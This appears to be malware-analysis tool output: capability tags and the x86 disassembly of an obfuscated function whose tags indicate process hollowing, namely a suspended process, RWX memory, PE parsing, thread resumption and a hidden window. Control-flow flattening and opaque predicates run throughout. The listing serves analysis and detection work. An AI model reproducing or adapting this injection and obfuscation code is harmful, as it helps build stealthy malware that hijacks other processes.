Function at 0x10003590
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xf8
mov eax, dword [0x10073200]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x100], 0xbb6749df
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0x104], eax
sub eax, 0x8006f870
je 0x10008b28
jmp 0x100035cc
mov eax, dword [ebp - 0x104]
sub eax, 0x819fab4b
je 0x10008c08
jmp 0x100035e2
mov eax, dword [ebp - 0x104]
sub eax, 0x81b4694f
je 0x10006bb9
jmp 0x100035f8
mov eax, dword [ebp - 0x104]
sub eax, 0x82ed46f3
je 0x10006cda
jmp 0x1000360e
mov eax, dword [ebp - 0x104]
sub eax, 0x83498a39
je 0x10008420
jmp 0x10003624
mov eax, dword [ebp - 0x104]
sub eax, 0x83a42eb2
je 0x10007d5d
jmp 0x1000363a
mov eax, dword [ebp - 0x104]
sub eax, 0x83cf3884
je 0x1000b2d5
jmp 0x10003650
mov eax, dword [ebp - 0x104]
sub eax, 0x83eaad4e
je 0x1000b054
jmp 0x10003666
mov eax, dword [ebp - 0x104]
sub eax, 0x84864bc0
je 0x1000699a
jmp 0x1000367c
mov eax, dword [ebp - 0x104]
sub eax, 0x84cd68b5
je 0x1000797c
jmp 0x10003692
mov eax, dword [ebp - 0x104]
sub eax, 0x85a995f3
je 0x10007edb
jmp 0x100036a8
mov eax, dword [ebp - 0x104]
sub eax, 0x861b0db9
je 0x1000b162
jmp 0x100036be
mov eax, dword [ebp - 0x104]
sub eax, 0x861d9e42
je 0x10006aba
jmp 0x100036d4
mov eax, dword [ebp - 0x104]
sub eax, 0x86d5fafd
je 0x10008d2a
jmp 0x100036ea
mov eax, dword [ebp - 0x104]
sub eax, 0x877ac7bb
je 0x1000b22b
jmp 0x10003700
mov eax, dword [ebp - 0x104]
sub eax, 0x87c0a0e5
je 0x1000abdf
jmp 0x10003716
mov eax, dword [ebp - 0x104]
sub eax, 0x886f9409
je 0x10008960
jmp 0x1000372c
mov eax, dword [ebp - 0x104]
sub eax, 0x88bbdf45
je 0x1000a581
jmp 0x10003742
mov eax, dword [ebp - 0x104]
sub eax, 0x89c2a00c
je 0x1000b697
jmp 0x10003758
mov eax, dword [ebp - 0x104]
sub eax, 0x8a19d7ef
je 0x1000755b
jmp 0x1000376e
mov eax, dword [ebp - 0x104]
sub eax, 0x8a730bc8
je 0x100070b6
jmp 0x10003784
mov eax, dword [ebp - 0x104]
sub eax, 0x8ab8e6b2
je 0x1000930a
jmp 0x1000379a
mov eax, dword [ebp - 0x104]
sub eax, 0x8aecc5c5
je 0x10008688
jmp 0x100037b0
mov eax, dword [ebp - 0x104]
sub eax, 0x8b757f5b
je 0x10008f65
jmp 0x100037c6
mov eax, dword [ebp - 0x104]
sub eax, 0x8c0d5eb6
je 0x100082b4
jmp 0x100037dc
mov eax, dword [ebp - 0x104]
sub eax, 0x8ca80b42
je 0x1000a80c
jmp 0x100037f2
mov eax, dword [ebp - 0x104]
sub eax, 0x8cbf3bc9
je 0x10009761
jmp 0x10003808
mov eax, dword [ebp - 0x104]
sub eax, 0x8cf1da04
je 0x10006112
jmp 0x1000381e
mov eax, dword [ebp - 0x104]
sub eax, 0x8e0a276b
je 0x1000b1ed
jmp 0x10003834
mov eax, dword [ebp - 0x104]
sub eax, 0x8e2ac45d
je 0x10009c47
jmp 0x1000384a
mov eax, dword [ebp - 0x104]
sub eax, 0x8e9e7e1e
je 0x10008834
jmp 0x10003860
mov eax, dword [ebp - 0x104]
sub eax, 0x8ec26ffa
je 0x10005d01
jmp 0x10003876
mov eax, dword [ebp - 0x104]
sub eax, 0x90325238
je 0x1000b3ec
jmp 0x1000388c
mov eax, dword [ebp - 0x104]
sub eax, 0x90363947
je 0x100065d2
jmp 0x100038a2
mov eax, dword [ebp - 0x104]
sub eax, 0x91369677
je 0x10009a17
jmp 0x100038b8
mov eax, dword [ebp - 0x104]
sub eax, 0x915355fe
je 0x10006253
jmp 0x100038ce
mov eax, dword [ebp - 0x104]
sub eax, 0x91719a3e
je 0x1000b084
jmp 0x100038e4
mov eax, dword [ebp - 0x104]
sub eax, 0x91c80a9e
je 0x1000832a
jmp 0x100038fa
mov eax, dword [ebp - 0x104]
sub eax, 0x91eaa572
je 0x10005d20
jmp 0x10003910
mov eax, dword [ebp - 0x104]
sub eax, 0x920a88ad
je 0x10007b04
jmp 0x10003926
mov eax, dword [ebp - 0x104]
sub eax, 0x93796828
je 0x1000b072
jmp 0x1000393c
mov eax, dword [ebp - 0x104]
sub eax, 0x938961cb
je 0x1000741a
jmp 0x10003952
mov eax, dword [ebp - 0x104]
sub eax, 0x93aae66e
je 0x100083d0
jmp 0x10003968
mov eax, dword [ebp - 0x104]
sub eax, 0x94c0ccb2
je 0x1000a513
jmp 0x1000397e
mov eax, dword [ebp - 0x104]
sub eax, 0x95917619
je 0x1000b25a
jmp 0x10003994
mov eax, dword [ebp - 0x104]
sub eax, 0x959dc640
je 0x100060e5
jmp 0x100039aa
mov eax, dword [ebp - 0x104]
sub eax, 0x95de9ff1
je 0x100083a0
jmp 0x100039c0
mov eax, dword [ebp - 0x104]
sub eax, 0x960e4883
je 0x10008c25
jmp 0x100039d6
mov eax, dword [ebp - 0x104]
sub eax, 0x969ede4f
je 0x10008178
jmp 0x100039ec
mov eax, dword [ebp - 0x104]
sub eax, 0x97c3e6d5
je 0x10006482
jmp 0x10003a02
mov eax, dword [ebp - 0x104]
sub eax, 0x993854f5
je 0x10007c7f
jmp 0x10003a18
mov eax, dword [ebp - 0x104]
sub eax, 0x99586749
je 0x10008029
jmp 0x10003a2e
mov eax, dword [ebp - 0x104]
sub eax, 0x996ad82b
je 0x1000691f
jmp 0x10003a44
mov eax, dword [ebp - 0x104]
sub eax, 0x99c8f8b3
je 0x1000a2e0
jmp 0x10003a5a
mov eax, dword [ebp - 0x104]
sub eax, 0x9b799b52
je 0x10007684
jmp 0x10003a70
mov eax, dword [ebp - 0x104]
sub eax, 0x9bdb3a3b
je 0x1000b115
jmp 0x10003a86
mov eax, dword [ebp - 0x104]
sub eax, 0x9cdd83b7
je 0x1000603c
jmp 0x10003a9c
mov eax, dword [ebp - 0x104]
sub eax, 0x9d016f93
je 0x1000b7ff
jmp 0x10003ab2
mov eax, dword [ebp - 0x104]
sub eax, 0x9ef25bbc
je 0x10008c88
jmp 0x10003ac8
mov eax, dword [ebp - 0x104]
sub eax, 0x9f0ed113
je 0x1000804a
jmp 0x10003ade
mov eax, dword [ebp - 0x104]
sub eax, 0x9f6472a9
je 0x10008e32
jmp 0x10003af4
mov eax, dword [ebp - 0x104]
sub eax, 0x9f658cfd
je 0x10006f07
jmp 0x10003b0a
mov eax, dword [ebp - 0x104]
sub eax, 0x9f784a47
je 0x10008148
jmp 0x10003b20
mov eax, dword [ebp - 0x104]
sub eax, 0xa0699b83
je 0x1000a5eb
jmp 0x10003b36
mov eax, dword [ebp - 0x104]
sub eax, 0xa0ee573b
je 0x10009152
movss xmm0, dword [0x1001839c]
movss dword [ebp - 0xec], xmm0
mov dword [ebp - 0x100], 0x91eaa572
jmp 0x1000b9cd
mov eax, dword [0x10074528]
mov ecx, dword [0x10074524]
mov edx, eax
sub edx, 0x677cb248
sub edx, 1
add edx, 0x677cb248
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa1026c0d
mov ecx, 0x57934299
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000b9cd
movss xmm0, dword [0x1001838c]
movss dword [ebp - 0xec], xmm0
mov dword [ebp - 0x100], 0xbab60e3f
jmp 0x1000b9cd
movss xmm0, dword [0x10018378]
movss dword [ebp - 0xf0], xmm0
mov dl, 1
mov eax, 0xc765f2d0
mov ecx, 0x8cf1da04
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000b9cd
movss xmm0, dword [0x10018374]
movss dword [ebp - 0xf0], xmm0
mov dword [ebp - 0x100], 0x6bb51a73
jmp 0x1000b9cd
mov dl, 1
mov eax, 0x16a89be9
mov ecx, 0xf9b24b23
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000b9cd
mov dword [ebp - 0x100], 0x117966d6
jmp 0x1000b9cd
movss xmm0, dword [0x10018354]
movss dword [ebp - 0xf0], xmm0
mov dword [ebp - 0x100], 0xf8739985
jmp 0x1000b9cd
movss xmm0, dword [0x1001834c]
movss dword [ebp - 0xf4], xmm0
movss xmm0, dword [0x10018348]
movss dword [ebp - 0xf4], xmm0
mov dl, 1
mov eax, 0x84864bc0
mov ecx, 0x57ca000b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000b9cd
mov ecx, dword [0x10074528]
mov eax, dword [0x10074524]
mov edx, ecx
add edx, 0xcad98541
sub edx, 1
sub edx, 0xcad98541
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8e0a276b
mov ecx, 0xc823497c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000b9cd
mov eax, dword [0x10074528]
mov ecx, dword [0x10074524]
mov edx, eax
add edx, 0x1e5da131
sub edx, 1
sub edx, 0x1e5da131
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7e5085
mov ecx, 0xc6546df1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000b9cd
mov dl, 1
mov eax, 0xb855d868
mov ecx, 0x207186f3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000b9cd
mov dword [ebp - 0x100], 0xc654de3e
jmp 0x1000b9cd
movss xmm0, dword [0x10018310]
movss dword [ebp - 0xf8], xmm0
movss xmm0, dword [0x1001830c]
movss dword [ebp - 0xf8], xmm0
mov dword [ebp - 0x100], 0xf1e4e59a
jmp 0x1000b9cd
movss xmm0, dword [0x100181f8]
movss dword [ebp - 0xf8], xmm0
movss xmm0, dword [0x100181f4]
movss dword [ebp - 0xf8], xmm0
mov ecx, dword [0x10074528]
mov eax, dword [0x10074524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x36e9f09c
mov ecx, 0xbbd57358
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000b9cd
mov dword [ebp - 0x100], 0xc00c7612
jmp 0x1000b9cd
mov dword [ebp - 0x100], 0xce25f496
jmp 0x1000b9cd
movss xmm0, dword [0x100182f4]
movss dword [ebp - 0xf8], xmm0
mov dword [ebp - 0x100], 0x5d51ee1d
jmp 0x1000b9cd
mov dl, 1
mov eax, 0xfc73c6eb
mov ecx, 0x41c6b2b3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000b9cd
movss xmm0, dword [0x100181cc]
movss dword [ebp - 0xfc], xmm0
mov eax, dword [0x10074528]
mov ecx, dword [0x10074524]
mov edx, eax
sub edx, 0xa97c9eb7
sub edx, 1
add edx, 0xa97c9eb7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x433677fb
mov ecx, 0xbbc3072
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000b9cd
mov dword [ebp - 0x100], 0xc8db8f15
jmp 0x1000b9cd
mov dword [ebp - 0x100], 0xacccf6f0
jmp 0x1000b9cd
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x100182c8]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x100182c4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x100182c0]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0x4a1682d7
jmp 0x1000b9cd
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x100182bc]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0x9f0ed113
jmp 0x1000b9cd
mov ecx, dword [0x10074528]
mov eax, dword [0x10074524]
mov edx, ecx
sub edx, 0xedbcca54
sub edx, 1
add edx, 0xedbcca54
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xdece06
mov ecx, 0x6fe9ae1c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000b9cd
mov dword [ebp - 0x100], 0xdecb3398
jmp 0x1000b9cd
mov dl, 1
mov eax, 0x5d25250a
mov ecx, 0x27eb8498
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000b9cd
mov ecx, dword [0x10074528]
mov eax, dword [0x10074524]
mov edx, ecx
add edx, 0x58201fcc
sub edx, 1
sub edx, 0x58201fcc
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb420ea44
mov ecx, 0x91c80a9e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000b9cd
mov ecx, dword [0x10074528]
mov eax, dword [0x10074524]
mov edx, ecx
add edx, 0x3e83da8a
sub edx, 1
sub edx, 0x3e83da8a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb420ea44
mov ecx, 0x95de9ff1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000b9cd
mov dword [ebp - 0x100], 0x5d25250a
jmp 0x1000b9cd
mov dl, 1
mov eax, 0x225f1e65
mov ecx, 0x530b5425
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000b9cd
mov dword [ebp - 0x100], 0x225f1e65
jmp 0x1000b9cd
mov eax, dword [ebp - 0xe4]
movss xmm0, dword [0x10018298]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0x2c891e12
jmp 0x1000b9cd
mov eax, dword [ebp - 0xe4]
movss xmm0, dword [0x100181b0]
movss dword [eax], xmm0
mov ecx, dword [0x10074528]
mov eax, dword [0x10074524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc6b82368
mov ecx, 0x3b109b33
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000b9cd
mov eax, dword [0x10074528]
mov ecx, dword [0x10074524]
mov edx, eax
add edx, 0x8f0de2e
sub edx, 1
sub edx, 0x8f0de2e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf898d1cb
mov ecx, 0xe07a4398
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000b9cd
mov ecx, dword [0x10074528]
mov eax, dword [0x10074524]
mov edx, ecx
sub edx, 0x2101a387
sub edx, 1
add edx, 0x2101a387
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x20cd576a
mov ecx, 0x4354ec74
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000b9cd
mov dl, 1
mov eax, 0xac065cff
mov ecx, 0x960e4883
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000b9cd
mov eax, dword [ebp - 0xe4]
movss xmm0, dword [0x10018278]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0x25f0541d
jmp 0x1000b9cd
mov eax, dword [0x10074528]
mov ecx, dword [0x10074524]
mov edx, eax
sub edx, 0xb258c4c3
sub edx, 1
add edx, 0xb258c4c3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5124ee3a
mov ecx, 0x29abe4a6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000b9cd
mov dl, 1
mov eax, 0x63299045
mov ecx, 0x5ab5dead
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000b9cd
mov dword [ebp - 0x100], 0xf2a7ab94
jmp 0x1000b9cd
mov dword [ebp - 0x100], 0xdbd4863f
jmp 0x1000b9cd
mov eax, dword [ebp - 0xe0]
movss xmm0, dword [0x10018190]
movss dword [eax], xmm0
mov eax, dword [0x10074528]
mov ecx, dword [0x10074524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa87f356b
mov ecx, 0x2dfa510c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000b9cd
mov dword [ebp - 0x100], 0xfc751334
jmp 0x1000b9cd
mov dl, byte [ebp - 0x6d]
mov eax, 0x1323779b
mov ecx, 0x4c1041b7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000b9cd
mov eax, dword [0x10074528]
mov ecx, dword [0x10074524]
mov edx, eax
add edx, 0x8fb4501b
sub edx, 1
sub edx, 0x8fb4501b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4db080b1
mov ecx, 0xb7e13ecc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000b9cd
mov dword [ebp - 0x100], 0xa4477161
jmp 0x1000b9cd
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x3c], eax
mov eax, dword [0x10074528]
mov ecx, dword [0x10074524]
mov edx, eax
sub edx, 0x4ea147a5
sub edx, 1
add edx, 0x4ea147a5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa280a364
mov ecx, 0x68fe058e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000b9cd
mov edx, dword [ebp - 0x3c]
mov eax, 0x644557e4
mov ecx, 0xffd5ee7
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000b9cd
mov ecx, dword [0x10074528]
mov eax, dword [0x10074524]
mov edx, ecx
add edx, 0x41aeb5ba
sub edx, 1
sub edx, 0x41aeb5ba
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6a53cdde
mov ecx, 0x6556ef64
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000b9cd
mov dword [ebp - 0x100], 0xa8b8813b
jmp 0x1000b9cd
mov eax, dword [ebp - 0x8c]
mov ecx, dword [eax]
add ecx, 0xd468350a
add ecx, 1
sub ecx, 0xd468350a
mov eax, dword [ebp - 0x8c]
mov dword [eax], ecx
mov ecx, dword [0x10074528]
mov eax, dword [0x10074524]
mov edx, ecx
sub edx, 0xb4a1eef1
sub edx, 1
add edx, 0xb4a1eef1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x30704d12
mov ecx, 0xaf8adcbe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000b9cd
mov dword [ebp - 0x100], 0xb501e310
jmp 0x1000b9cd
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000bfc0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call fcn.100010a0
add esp, 4
movss xmm0, dword [0x10018234]
movss dword [ebp - 0xec], xmm0
movss xmm0, dword [0x10018230]
movss dword [ebp - 0xec], xmm0
movss xmm0, dword [0x1001822c]
movss dword [ebp - 0xec], xmm0
mov dword [ebp - 0x100], 0xca492b41
jmp 0x1000b9cd
movss xmm0, dword [0x10018220]
movss dword [ebp - 0xec], xmm0
mov dword [ebp - 0x100], 0x1d7a734b
jmp 0x1000b9cd
movss xmm0, dword [0x10018218]
movss dword [ebp - 0xf0], xmm0
movss xmm0, dword [0x10018214]
movss dword [ebp - 0xf0], xmm0
mov dword [ebp - 0x100], 0x3ecb384f
jmp 0x1000b9cd
movss xmm0, dword [0x10018208]
movss dword [ebp - 0xf4], xmm0
mov dword [ebp - 0x100], 0xc823497c
jmp 0x1000b9cd
movss xmm0, dword [0x10018200]
movss dword [ebp - 0xf4], xmm0
movss xmm0, dword [0x100181fc]
movss dword [ebp - 0xf4], xmm0
mov dword [ebp - 0x100], 0xddbe643
jmp 0x1000b9cd
mov dword [ebp - 0x100], 0x8edbad3
jmp 0x1000b9cd
movss xmm0, dword [0x100181ec]
movss dword [ebp - 0xf8], xmm0
mov dword [ebp - 0x100], 0xa9800fe5
jmp 0x1000b9cd
movss xmm0, dword [0x100181c8]
movss dword [ebp - 0xfc], xmm0
mov dword [ebp - 0x100], 0xe147ee67
jmp 0x1000b9cd
mov ecx, dword [ebp - 0x7c]
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov edx, dword [eax + 0x3c]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xd0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd0]
mov dword [ebp - 0x100], 0xb82755f3
jmp 0x1000b9cd
mov eax, dword [ebp - 0xa0]
mov ecx, dword [eax]
add ecx, 0xd5a9fa72
add ecx, 1
sub ecx, 0xd5a9fa72
mov eax, dword [ebp - 0xa0]
mov dword [eax], ecx
mov dword [ebp - 0x100], 0x4333c900
jmp 0x1000b9cd
jmp 0x100035b0